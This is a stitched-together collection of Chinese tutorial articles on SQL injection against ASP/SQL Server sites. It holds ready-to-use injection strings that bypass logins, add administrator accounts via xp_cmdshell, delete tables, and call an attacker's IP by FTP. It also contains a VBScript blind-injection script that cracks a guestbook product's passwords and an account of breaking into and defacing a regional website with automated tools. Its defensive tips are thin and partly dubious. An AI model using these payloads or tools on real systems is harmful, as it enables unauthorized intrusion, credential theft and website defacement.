首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
先来看login.asp文件
以下内容为程序代码:
……


用户名
密码



……

再来看verify.asp文件
以下内容为程序代码:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'关于身份验证
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……

不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:
sql=select * from user where name='admin' --' and pasword='11'
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
方法一:
a、打开网站页面http://www.***.com/login.asp,查看源文件,把提交表单部分
以下内容为程序代码:


用户名
密码



拷贝出来,存到本机login.htm
b、修改action为http://www.***.com/verify.asp,即:
以下内容为程序代码:

用户名
密码


注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了!
d、从本地提交变量
方法二:
Cool.reg
9x用户:
以下内容为程序代码:
REGEDIT4
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/给我加大>
@="c://cool.htm"
"contexts"=dword:00000004

2k用户:
以下内容为程序代码:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/MenuExt/给我加大>
@="c://cool.htm"
"contexts"=dword:00000004

Cool.htm
以下内容为程序代码:

a、拷贝cool.reg的内容,保存,执行并确认。
b、拷贝cool.htm的内容,保存到指定位置,这里是c:/
c、打开网页http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可
当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。
好了,说了这么多恐怖的东东,来看看怎么防范。
(1)过滤提交数据;我们可以通过
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
name=replace(name,"'","’") '替换半角'为全角'
name=replace(exp1,"-","") '替换-为空
name=replace(exp1,";","") '替换;为空
……

或者
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
if InStr(name,"'") or InStr(name,"-") or InStr(name,";") then
response.write("")
response.end
end if
……

具体的过滤条件,或者替换还需要结合实际来使用。
(2)verify.asp文件本身验证的逻辑就是错误的,应该修改为:
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then '这里对输入的密码进行加密处理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:
……
dim name,pwd
name=left(request.form("name"),20)
……

b、在服务器确认提交位置
login.asp
以下内容为程序代码:
……


value="<%=Request.ServerVariables("HTTP_REFERER")%>">
value="<%=Request.ServerVariables("SERVER_NAME%>">
用户名
密码



……

这里传递了2个参数referer,ser_name
verify.asp
以下内容为程序代码:
……
dim referer,ser_name
'取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……

这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
(7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
4、网页传递参数不进行过滤处理
很多网站都存在这个问题,比如http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
我们可以通过很简单的办法测试是否存在这个问题:
http://www.***.com/show.asp?id=50 and 1=1
如果页面显示正确,基本上可以断定它存在这个问题。
来看看攻击者能做写什么:
(1)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addlogin Cool;--
(2)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_password null,
123456,Cool;--
(3)http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addsrvrolemember
Cool,sysadmin;--
(4)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
user Cool 123456 /add';--
(5)http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
localgroup administrators Cool /add';--
只要是表单中能提交的,这里基本都可以提交。
(6)猜表名
:http://www.***.com/show.asp?id=50 and
0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
(7)猜字段名:
http://www.***.com/show.asp?id=50 and
0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
(8)在获得tablename和fieldname以后,就可以更进一步了。
比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
a、http://www.***.com/show.asp?id=50 and 0<>
(select count(*) from user where id>1000)
粗略判断用户数量
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
判断id为1的用户的用户名长度是否为10
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(name,n,1)='a')
判断id为1的用户的用户名的第n位是否为a
d、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
判断id为1的用户的密码长度是否为10
e、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(pwd,n,1)='a')
判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
a、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
先确定用户名长度
b、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
再确定密码长度
c、http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,1,1))<0)
判断用户名第一位是否为中文,如果是中文,一般都是负的好多
如果不是,一般范围都在27~126之间,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<100)
来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
如果是中文,应该小于-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<-10000)
来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
d、同理,可以很快获得密码内容。
这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。 asp?id=980 width=1 height=1>
 用vbs来写sql注入等80端口的攻击脚本
昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse = Test.SendRequest(strURL)
参数:strURL as string:表示所请求的URL
返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:
...
topicid=request("RootID")
sql="select topic,hits from bbs
where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...
非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo
注意:需要装Visual Studio.Net里的ACT工具
*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "开始探测,请等待... ..."
正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
存放密码
pwd = ""
密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
建立对象
Set Test = CreateObject("ACT.Test")
得到用户的密码的长度
For i = 0 to 128 step 1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7%20and%20exists%20
(select%20userid%20from%20student%20where%20len
(userpwd)=" & i & "%20and%20userid=" & username & ")")
如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7%20and%20exists%20
(select%20userid%20from%20student%20where%20left
(userpwd," & j & ")=" & pwd & mid(strings,k,1)
& "%20and%20userid=" & username & ")")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
输出密码
WScript.Echo "密码:" & pwd
End If
Set Test = nothing
SQL注入入侵动网SQL版论坛
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
  一、 首先确定目标
  假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
  继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
  看来已经打上最新的SP4补丁。
  取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库名为: 01city
  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--
  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--
  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
利用SQL注入2分钟入侵网站全程实录
说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧。
  一、下载榕哥的工具包
  小榕哥的这个SQL注入攻击工具包在榕哥的站点http://www.netxeyes.com/main.html可以下载到,不过这个工具太火爆了,下载的人实在太多,你觉得慢的话,可以到其它大的黑软站点搜索一下,绝对可以找到的。
  下载来的这个工具包中总有两个小程序:"wed.exe"和"wis.exe",其中"wis.exe"是用来扫描某个站点中是否存在SQL注入漏洞的;"wed.exe"则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。
  二、寻找SQL注入点
  "wis.exe"使用的格式如下:"wis.exe 网址",这里以笔者检测本地信息港为例:首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。

小提示:在输入网址时,前面的"http://";和最后面的"/"是必不可少的,否则将会提示无法进行扫描。
  输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞,我们随便挑其中一个来做试验,就挑"/rjz/sort.asp?classid=1"吧。

打开浏览器,在地址栏中输入"http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站页面,呵呵,原来是一个下载网页。现在来对它进行SQL注入,破解出管理员的帐号来吧!
 三、SQL注入破解管理员帐号
  现在进入命令窗口中,使用刚才下载的工具包中的"wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。回车后可看到命令运行情况。
小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的"http://";头也还是必不可少的。
  可以看到程序自动打开了工具包中的几个文件,"C:/wed/wed/TableName.dic"、
"C:/wed/wed/UserField.dic"和"C:/wed/wed/PassField.dic",这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的"黑客字典"那么的强大,还用得着去多此一举吗?
  在破解过程中还可以看到"SQL Injection Detected."的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。
  开始等待吧!呵呵,很快就获得了数据库表名"admin",然后得到用户表名和字长,为"username"和"6";再检测到密码表名和字长,为"password"和"8"。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!

正想着手工注入会有多困难时,"wed.exe"程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧!还不到一分钟呢
四、搜索隐藏的管理登录页面
  重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?
  拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!
  再次拿出"wis.exe"程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入
"wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里输入了一个隐藏的参数"/a"。
怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以"/rjz/"开头的登录页面网址,包括"/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用哪个都可以。
  在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp",呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码,就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦,看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小小的通知吧!

看看最后我更改过的主页,冰河洗剑的大名留在了信息港上,不过可没有破坏什么东西啊!我和网页管理员也是朋友,他会原谅我这个小小的玩笑吧!?
三步堵死SQL注入漏洞
SQL注入是什么?
  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
网站的恶梦——SQL注入
  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
防御SQL注入有妙法
  第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试(。
  可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
  我们通过上面的三步完成了对数据库的修改。
  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制
  

你可能感兴趣的:(SQL注入全接触)